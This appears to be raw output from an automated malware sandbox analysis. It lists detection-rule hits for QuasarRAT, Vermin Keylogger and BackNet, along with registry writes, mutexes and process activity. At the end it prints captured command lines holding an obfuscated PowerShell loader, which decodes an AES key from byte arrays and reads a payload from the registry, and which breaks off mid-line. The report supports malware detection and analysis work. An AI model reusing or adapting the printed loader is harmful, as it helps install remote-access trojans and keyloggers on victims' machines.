Source: 8.2.powershell.exe.22557635510.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 8.2.powershell.exe.22557635510.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Vermin Keylogger Author: Florian Roth
Source: 8.2.powershell.exe.22557635510.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BackNet samples Author: Florian Roth
Source: 00000008.00000002.2797885450.000002255F9C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 00000008.00000002.2797885450.000002255F9C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Vermin Keylogger Author: Florian Roth
Source: 00000008.00000002.2797885450.000002255F9C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects BackNet samples Author: Florian Roth
Source: Process Memory Space: powershell.exe PID: 7252, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6104, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 5964, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::DeleteValue
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: C:\Windows\System32\wscript.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\wscript.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\wscript.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\wscript.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\wscript.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\System32\wscript.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF7C023A546	5_2_00007FF7C023A546
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF7C023B6F2	5_2_00007FF7C023B6F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF7C0231E06	6_2_00007FF7C0231E06
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF7C0232BB2	6_2_00007FF7C0232BB2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF7C02F401D	6_2_00007FF7C02F401D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF7C0233A10	6_2_00007FF7C0233A10
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF7C0250160	8_2_00007FF7C0250160
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF7C025A298	8_2_00007FF7C025A298
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF7C0254BEC	8_2_00007FF7C0254BEC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF7C0312C40	8_2_00007FF7C0312C40

Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5035
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 5003
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4833
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4325
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5035	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4833	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4325	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 5003	Jump to behavior

Source: 8.2.powershell.exe.2255f9c0000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 8.2.powershell.exe.2255f9c0000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Vermin_Keylogger_Jan18_1 date = 2018-01-29, hash5 = 24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18, hash4 = 4c5e019e0e55a3fe378aa339d52c235c06ecc5053625a5d54d65c4ae38c6e3da, hash3 = 0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6, hash2 = e1d917769267302d58a2fd00bc49d4aee5a472227a75f9366b46ce243e9cbef7, hash1 = 74ba162eef84bf13d1d79cb26192a4692c09fed57f321230ddb7668a88e3935d, author = Florian Roth, description = Detects Vermin Keylogger, hash6 = 2963c5eacaad13ace807edd634a4a5896cb5536f961f43afcf8c1f25c08a5eef, reference = https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.powershell.exe.2255f9c0000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_BackNet_Nov18_1 date = 2018-11-02, hash1 = 4ce82644eaa1a00cdb6e2f363743553f2e4bd1eddb8bc84e45eda7c0699d9adc, author = Florian Roth, description = Detects BackNet samples, reference = https://github.com/valsov/BackNet
Source: 8.2.powershell.exe.22557635510.2.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 8.2.powershell.exe.22557635510.2.unpack, type: UNPACKEDPE	Matched rule: Vermin_Keylogger_Jan18_1 date = 2018-01-29, hash5 = 24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18, hash4 = 4c5e019e0e55a3fe378aa339d52c235c06ecc5053625a5d54d65c4ae38c6e3da, hash3 = 0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6, hash2 = e1d917769267302d58a2fd00bc49d4aee5a472227a75f9366b46ce243e9cbef7, hash1 = 74ba162eef84bf13d1d79cb26192a4692c09fed57f321230ddb7668a88e3935d, author = Florian Roth, description = Detects Vermin Keylogger, hash6 = 2963c5eacaad13ace807edd634a4a5896cb5536f961f43afcf8c1f25c08a5eef, reference = https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.powershell.exe.22557635510.2.unpack, type: UNPACKEDPE	Matched rule: MAL_BackNet_Nov18_1 date = 2018-11-02, hash1 = 4ce82644eaa1a00cdb6e2f363743553f2e4bd1eddb8bc84e45eda7c0699d9adc, author = Florian Roth, description = Detects BackNet samples, reference = https://github.com/valsov/BackNet
Source: 8.2.powershell.exe.2255f9c0000.7.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 8.2.powershell.exe.2255f9c0000.7.unpack, type: UNPACKEDPE	Matched rule: Vermin_Keylogger_Jan18_1 date = 2018-01-29, hash5 = 24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18, hash4 = 4c5e019e0e55a3fe378aa339d52c235c06ecc5053625a5d54d65c4ae38c6e3da, hash3 = 0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6, hash2 = e1d917769267302d58a2fd00bc49d4aee5a472227a75f9366b46ce243e9cbef7, hash1 = 74ba162eef84bf13d1d79cb26192a4692c09fed57f321230ddb7668a88e3935d, author = Florian Roth, description = Detects Vermin Keylogger, hash6 = 2963c5eacaad13ace807edd634a4a5896cb5536f961f43afcf8c1f25c08a5eef, reference = https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.powershell.exe.2255f9c0000.7.unpack, type: UNPACKEDPE	Matched rule: MAL_BackNet_Nov18_1 date = 2018-11-02, hash1 = 4ce82644eaa1a00cdb6e2f363743553f2e4bd1eddb8bc84e45eda7c0699d9adc, author = Florian Roth, description = Detects BackNet samples, reference = https://github.com/valsov/BackNet
Source: 8.2.powershell.exe.22557635510.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 8.2.powershell.exe.22557635510.2.raw.unpack, type: UNPACKEDPE	Matched rule: Vermin_Keylogger_Jan18_1 date = 2018-01-29, hash5 = 24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18, hash4 = 4c5e019e0e55a3fe378aa339d52c235c06ecc5053625a5d54d65c4ae38c6e3da, hash3 = 0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6, hash2 = e1d917769267302d58a2fd00bc49d4aee5a472227a75f9366b46ce243e9cbef7, hash1 = 74ba162eef84bf13d1d79cb26192a4692c09fed57f321230ddb7668a88e3935d, author = Florian Roth, description = Detects Vermin Keylogger, hash6 = 2963c5eacaad13ace807edd634a4a5896cb5536f961f43afcf8c1f25c08a5eef, reference = https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.powershell.exe.22557635510.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_BackNet_Nov18_1 date = 2018-11-02, hash1 = 4ce82644eaa1a00cdb6e2f363743553f2e4bd1eddb8bc84e45eda7c0699d9adc, author = Florian Roth, description = Detects BackNet samples, reference = https://github.com/valsov/BackNet
Source: 00000008.00000002.2797885450.000002255F9C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 00000008.00000002.2797885450.000002255F9C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Vermin_Keylogger_Jan18_1 date = 2018-01-29, hash5 = 24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18, hash4 = 4c5e019e0e55a3fe378aa339d52c235c06ecc5053625a5d54d65c4ae38c6e3da, hash3 = 0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6, hash2 = e1d917769267302d58a2fd00bc49d4aee5a472227a75f9366b46ce243e9cbef7, hash1 = 74ba162eef84bf13d1d79cb26192a4692c09fed57f321230ddb7668a88e3935d, author = Florian Roth, description = Detects Vermin Keylogger, hash6 = 2963c5eacaad13ace807edd634a4a5896cb5536f961f43afcf8c1f25c08a5eef, reference = https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000008.00000002.2797885450.000002255F9C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_BackNet_Nov18_1 date = 2018-11-02, hash1 = 4ce82644eaa1a00cdb6e2f363743553f2e4bd1eddb8bc84e45eda7c0699d9adc, author = Florian Roth, description = Detects BackNet samples, reference = https://github.com/valsov/BackNet
Source: Process Memory Space: powershell.exe PID: 7252, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6104, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 5964, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 8.2.powershell.exe.2255fa80000.8.raw.unpack, PayloadReader.cs	Suspicious method names: .PayloadReader.ReadInteger
Source: 8.2.powershell.exe.2255fa80000.8.raw.unpack, PayloadReader.cs	Suspicious method names: .PayloadReader.ReadBytes
Source: 8.2.powershell.exe.2255fa80000.8.raw.unpack, PayloadReader.cs	Suspicious method names: .PayloadReader.ReadMessage
Source: 8.2.powershell.exe.2255fa80000.8.raw.unpack, PayloadReader.cs	Suspicious method names: .PayloadReader.Dispose
Source: 8.2.powershell.exe.2255fa80000.8.raw.unpack, PayloadWriter.cs	Suspicious method names: .PayloadWriter.WriteInteger
Source: 8.2.powershell.exe.2255fa80000.8.raw.unpack, PayloadWriter.cs	Suspicious method names: .PayloadWriter.WriteBytes
Source: 8.2.powershell.exe.2255fa80000.8.raw.unpack, PayloadWriter.cs	Suspicious method names: .PayloadWriter.WriteMessage
Source: 8.2.powershell.exe.2255fa80000.8.raw.unpack, PayloadWriter.cs	Suspicious method names: .PayloadWriter.Dispose
Source: 8.2.powershell.exe.225576fb380.0.raw.unpack, PayloadWriter.cs	Suspicious method names: .PayloadWriter.WriteInteger
Source: 8.2.powershell.exe.225576fb380.0.raw.unpack, PayloadWriter.cs	Suspicious method names: .PayloadWriter.WriteBytes
Source: 8.2.powershell.exe.225576fb380.0.raw.unpack, PayloadWriter.cs	Suspicious method names: .PayloadWriter.WriteMessage
Source: 8.2.powershell.exe.225576fb380.0.raw.unpack, PayloadWriter.cs	Suspicious method names: .PayloadWriter.Dispose
Source: 8.2.powershell.exe.225576fb380.0.raw.unpack, PayloadReader.cs	Suspicious method names: .PayloadReader.ReadInteger
Source: 8.2.powershell.exe.225576fb380.0.raw.unpack, PayloadReader.cs	Suspicious method names: .PayloadReader.ReadBytes
Source: 8.2.powershell.exe.225576fb380.0.raw.unpack, PayloadReader.cs	Suspicious method names: .PayloadReader.ReadMessage
Source: 8.2.powershell.exe.225576fb380.0.raw.unpack, PayloadReader.cs	Suspicious method names: .PayloadReader.Dispose

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5968:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7236:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\615456d8-1d6d-425c-ab75-75d0b24fbc45
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5940:120:WilError_03

Source: 8.2.powershell.exe.22557d09b78.5.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 8.2.powershell.exe.22557d09b78.5.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 8.2.powershell.exe.22557d09b78.5.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 8.2.powershell.exe.22557d09b78.5.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 8.2.powershell.exe.22557d09b78.5.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 8.2.powershell.exe.22557d59bb0.4.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 8.2.powershell.exe.22557d59bb0.4.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 8.2.powershell.exe.22557d59bb0.4.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 8.2.powershell.exe.22557d59bb0.4.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 8.2.powershell.exe.22557d59bb0.4.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "& {function iT93g([byte[]]$E3OXu) {Invoke-Expression -Debug -Verbose 'H6M$H6MwH6MhH6MBH6M3H6M2H6M=H6M[H6MSH6MyH6MsH6MtH6MeH6MmH6M.H6MTH6MeH6MxH6MtH6M.H6MEH6MnH6McH6MoH6MdH6MiH6MnH6MgH6M]H6M:H6M:H6MUH6MTH6MFH6M8H6M.H6MGH6MeH6MtH6MSH6MtH6MrH6MiH6MnH6MgH6M(H6M$H6MEH6M3H6MOH6MXH6MuH6M)H6M'.Replace('H6M', ''); return $whB32; } function tiw6l([byte[]]$ZUv5N) {Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore 'DTC$DTCqDTCKDTCaDTCGDTCiDTC=DTC[DTCBDTCiDTCtDTCCDTCoDTCnDTCvDTCeDTCrDTCtDTCeDTCrDTC]DTC:DTC:DTCTDTCoDTCIDTCnDTCtDTC3DTC2DTC(DTC$DTCZDTCUDTCvDTC5DTCNDTC,DTC0DTC)DTC;DTC'.Replace('DTC', ''); return $qKaGi; } $H2oUx = iT93g(0x74<#AgF8G#>,0x52<#sotVh#>,0x6B<#IJTfo#>,0x58<#aq0EZ#>,0x43<#lRyb0#>,0x36<#LDjCA#>,0x6A<#DRhTQ#>,0x2B<#Nxos5#>,0x34<#AjnVW#>,0x5A<#vkssP#>,0x6F<#Nr7dJ#>,0x52<#lsoI1#>,0x59<#pErVd#>,0x62<#tlAPZ#>,0x79<#kBIJZ#>,0x47<#HncF5#>,0x70<#hU1xu#>,0x6F<#TUEJh#>,0x4D<#cJg0H#>,0x45<#w2R2e#>,0x75<#QkdTi#>,0x6B<#LjyD9#>,0x6B<#EPiNN#>,0x43<#YN4lF#>,0x59<#bh0r2#>,0x46<#bfRBe#>,0x42<#OWjkm#>,0x51<#D0iPg#>,0x34<#pgAJc#>,0x2F<#OkTmn#>,0x46<#k7qw7#>,0x79<#ntwbA#>,0x64<#lRwjs#>,0x34<#lp8kK#>,0x58<#gppFR#>,0x4F<#zhqOk#>,0x4B<#xLpYw#>,0x4E<#Qpxm0#>,0x58<#QDHOx#>,0x78<#bubbt#>,0x2B<#gmscA#>,0x45<#CSle7#>,0x67<#LDi0E#>,0x3D<#bmXwZ#>); $qBAgs = iT93g(0x4E<#C2Vu0#>,0x47<#diaRv#>,0x30<#MGPf7#>,0x52<#QdMXt#>,0x63<#AESom#>,0x50<#NfQKQ#>,0x37<#uWoBq#>,0x49<#mQ8mb#>,0x36<#Z2Tts#>,0x7A<#GxC3u#>,0x75<#DZACY#>,0x45<#yjqHj#>,0x65<#DRQB2#>,0x65<#tbNzN#>,0x6F<#Cek6P#>,0x32<#Hvj6e#>,0x46<#YcXZM#>,0x6F<#YWlmr#>,0x77<#Ik0CX#>,0x72<#KlS1z#>,0x34<#jkNpr#>,0x51<#dzExQ#>,0x3D<#KAunG#>,0x3D<#f40yY#>); $ZXcf8 = iT93g(0x53<#b0lHD#>,0x6F<#YnhiC#>,0x66<#bdsGx#>,0x74<#tOssn#>,0x77<#hRyWf#>,0x61<#I0N5w#>,0x72<#PudcT#>,0x65<#r8GlO#>,0x5C<#wRgut#>,0x4D<#lRnzO#>,0x69<#SMHLu#>,0x63<#LCPm3#>,0x72<#galvu#>,0x6F<#oAPw7#>,0x73<#uIGer#>,0x6F<#SvDmv#>,0x66<#tMXra#>,0x74<#EnRsF#>,0x5C<#qtdsl#>,0x57<#aquA7#>,0x69<#lC02U#>,0x6E<#LGneX#>,0x64<#X9m0B#>,0x6F<#VC3Vo#>,0x77<#HtgrI#>,0x73<#IoY3L#>); $hBkVc = iT93g(0x73<#jBCoD#>,0x31<#rVfXN#>,0x55<#zAwUn#>,0x6E<#qHnrL#>,0x62<#YwZWy#>); $B8Dta = tiw6l(0x00<#A7hB6#>,0x00<#O0RD9#>,0x00<#jXCyJ#>,0x00<#OM184#>); $iSxCm = tiw6l(0x45<#OOD4N#>,0x00<#ImgSK#>,0x00<#Ylexb#>,0x00<#UUo0E#>); $l8XQf = tiw6l(0x03<#CQs75#>,0x00<#GS7w6#>,0x00<#gTbLR#>,0x00<#o3nyw#>); $kzu3X = $null; function S2qwV($ti34n) {Invoke-Expression -Verbose -Debug -WarningAction Inquire 'Bqr$BqrEBqrLBqrpBqrtBqrFBqr=Bqr[BqrSBqryBqrsBqrtBqreBqrmBqr.BqrSBqreBqrcBqruBqrrBqriBqrtBqryBqr.BqrCBqrrBqryBqrpBqrtBqroBqrgBqrrBqraBqrpBqrhBqryBqr.BqrABqreBqrsBqr]Bqr:Bqr:BqrCBqrrBqreBqraBqrtBqreBqr(Bqr)Bqr;Bqr'.Replace('Bqr', ''); Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore 'l3m$l3mEl3mLl3mpl3mtl3mFl3m.l3mMl3mol3mdl3mel3m=l3m[l3mSl3myl3msl3mtl3mel3mml3m.l3mSl3mel3mcl3mul3mrl3mil3mtl3myl3m.l3mCl3mrl3myl3mpl3mtl3mol3mgl3mr
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {function Ib6pi([byte[]]$Sf4DZ) {Invoke-Expression -Verbose -WarningAction Inquire -Debug 'O2o$O2ocO2oqO2o1O2oaO2oGO2o=O2o[O2oSO2oyO2osO2otO2oeO2omO2o.O2oTO2oeO2oxO2otO2o.O2oEO2onO2ocO2ooO2odO2oiO2onO2ogO2o]O2o:O2o:O2oUO2oTO2oFO2o8O2o.O2oGO2oeO2otO2oSO2otO2orO2oiO2onO2ogO2o(O2o$O2oSO2ofO2o4O2oDO2oZO2o)O2o'.Replace('O2o', ''); return $cq1aG; } function Smsgn([byte[]]$TYS1W) {Invoke-Expression -Verbose -InformationAction Ignore 'StI$StIrStIwStIZStIwStIHStI=StI[StIBStIiStItStICStIoStInStIvStIeStIrStItStIeStIrStI]StI:StI:StITStIoStIIStInStItStI3StI2StI(StI$StITStIYStISStI1StIWStI,StI0StI)StI;StI'.Replace('StI', ''); return $rwZwH; } $yOU0b = Ib6pi(0x74<#chvvk#>,0x52<#u2CEY#>,0x6B<#MVTFN#>,0x58<#YiCr7#>,0x43<#K8mg9#>,0x36<#UhqQ4#>,0x6A<#cQm2O#>,0x2B<#flcxM#>,0x34<#OY2RT#>,0x5A<#ALzz6#>,0x6F<#zoKd3#>,0x52<#d4OvL#>,0x59<#SLwJ0#>,0x62<#zsa1m#>,0x79<#sFOep#>,0x47<#qGVN9#>,0x70<#Ks1U4#>,0x6F<#uGJ9p#>,0x4D<#kWql0#>,0x45<#EmsaU#>,0x75<#Ov8NF#>,0x6B<#uZpyF#>,0x6B<#XiBw9#>,0x43<#hUbO7#>,0x59<#ujaL4#>,0x46<#ZYnnj#>,0x42<#JY42r#>,0x51<#WtnPA#>,0x34<#YaV4N#>,0x2F<#HV4mN#>,0x46<#nKdcb#>,0x79<#lUwSl#>,0x64<#awCO3#>,0x34<#CnIFi#>,0x58<#uqMOd#>,0x4F<#YNg7w#>,0x4B<#HeBay#>,0x4E<#A4cb9#>,0x58<#F6Vnf#>,0x78<#kXGAK#>,0x2B<#ZMzDT#>,0x45<#E8P88#>,0x67<#Zyzgc#>,0x3D<#Auma2#>); $pKdS6 = Ib6pi(0x4E<#HLrGc#>,0x47<#xVisw#>,0x30<#EHfxR#>,0x52<#wp7Gt#>,0x63<#Cpdce#>,0x50<#OHyLe#>,0x37<#xvqHB#>,0x49<#PetlW#>,0x36<#lZgM3#>,0x7A<#TTBOg#>,0x75<#Rxgr0#>,0x45<#YsPlK#>,0x65<#qhXNz#>,0x65<#QaXw9#>,0x6F<#W6Vt9#>,0x32<#gIQiG#>,0x46<#yGjpJ#>,0x6F<#HP9Ri#>,0x77<#dPHbh#>,0x72<#KCTWk#>,0x34<#x6PPE#>,0x51<#VbwrN#>,0x3D<#RcqfM#>,0x3D<#l7sEq#>); $mxwaP = Ib6pi(0x53<#DbFNZ#>,0x6F<#Jy4Lx#>,0x66<#ez47J#>,0x74<#B1Uku#>,0x77<#kcRDO#>,0x61<#GimOz#>,0x72<#MUPpg#>,0x65<#a0Bz2#>,0x5C<#ehl3n#>,0x4D<#ZitVL#>,0x69<#smHT8#>,0x63<#fJC9S#>,0x72<#hMqWi#>,0x6F<#NkObo#>,0x73<#IzfrK#>,0x6F<#J1Yat#>,0x66<#dzRC7#>,0x74<#fM5r5#>,0x5C<#RyBgP#>,0x57<#T0PUW#>,0x69<#vTRqA#>,0x6E<#BHZJx#>,0x64<#mvlQt#>,0x6F<#p5nY6#>,0x77<#DohgT#>,0x73<#Sx8cw#>); $RGohu = Ib6pi(0x6B<#QlDDy#>,0x70<#NhkB5#>,0x44<#Zww3K#>,0x53<#eNvxb#>,0x46<#XM0XT#>); $RwltO = Smsgn(0x00<#h5SFV#>,0x00<#ucupc#>,0x00<#MID9v#>,0x00<#HXOXF#>); $ewoV8 = $true; $jOK5y = $null; function Yz1Gd($VHgBC) {Invoke-Expression -WarningAction Inquire -Debug -Verbose -InformationAction Ignore 'CKA$CKAeCKAyCKAyCKAQCKAHCKA=CKA[CKASCKAyCKAsCKAtCKAeCKAmCKA.CKASCKAeCKAcCKAuCKArCKAiCKAtCKAyCKA.CKACCKArCKAyCKApCKAtCKAoCKAgCKArCKAaCKApCKAhCKAyCKA.CKAACKAeCKAsCKA]CKA:CKA:CKACCKArCKAeCKAaCKAtCKAeCKA(CKA)CKA'.Replace('CKA', ''); Invoke-Expression -WarningAction Inquire -Verbose 'RHv$RHveRHvyRHvyRHvQRHvHRHv.RHvMRHvoRHvdRHveRHv=RHv[RHvSRHvyRHvsRHvtRHveRHvmRHv.RHvSRHveRHvcRHvuRHvrRHviRHvtRHvyRHv.RHvCRHvrRHvyRHvpRHvtRHvoRHvgRHvrRHvaRHvpRHvhRHvyRHv.RHvCRHviRHvpRHvhRHveRHvrRHvMRHvoRHvdRHveRHv]RHv:RHv:RHvCRHvBRHvCRHv'.Replace('RHv', ''); Invoke-Expression -Verbose -D
